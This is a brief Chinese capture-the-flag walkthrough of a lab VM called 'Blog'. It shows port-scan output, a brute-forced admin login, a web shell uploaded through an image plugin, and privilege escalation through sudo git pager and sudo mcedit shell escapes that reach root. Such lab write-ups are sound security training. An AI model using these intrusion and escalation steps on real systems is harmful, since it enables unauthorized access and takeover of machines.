# 靶场练习
下载:Blog
Nat,IP: 192.168.1.144
# 渗透过程
# 信息初收集
PORT STATE SERVICE VERSION | |
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | |
| ssh-hostkey: | |
| 2048 56:9b:dd:56:a5:c1:e3:52:a8:42:46:18:5e:0c:12:86 (RSA) | |
| 256 1b:d2:cc:59:21:50:1b:39:19:77:1d:28:c0:be:c6:82 (ECDSA) | |
|_ 256 9c:e7:41:b6:ad:03:ed:f5:a1:4c:cc:0a:50:79:1c:20 (ED25519) | |
80/tcp open http Apache httpd 2.4.38 ((Debian)) | |
|_http-server-header: Apache/2.4.38 (Debian) | |
|_http-title: Site doesn't have a title (text/html; charset=UTF-8). |
目录收集得到: http://192.168.1.144/my_weblog/
后台: http://192.168.1.144/my_weblog/admin.php
爆破得到账号密码: admin/kisses
进入后台,发现插件功能有上传图片功能,从这个地方上传 shell
访问: http://192.168.1.144/my_weblog/content/private/plugins/my_image/image.php
监听访问拿到 shell
# 提权
sudo -l
发现有 git
www-data@blog:/$ sudo -u admin git -p help config | |
!/bin/bash |
拿到 admin 的 shell
sudo -l
发现 mcedit
admin@blog:~$ sudo mcedit
按下 alt + F
,选择 file
,选择 user menu
,在选择 invoke shell
拿到了 root 权限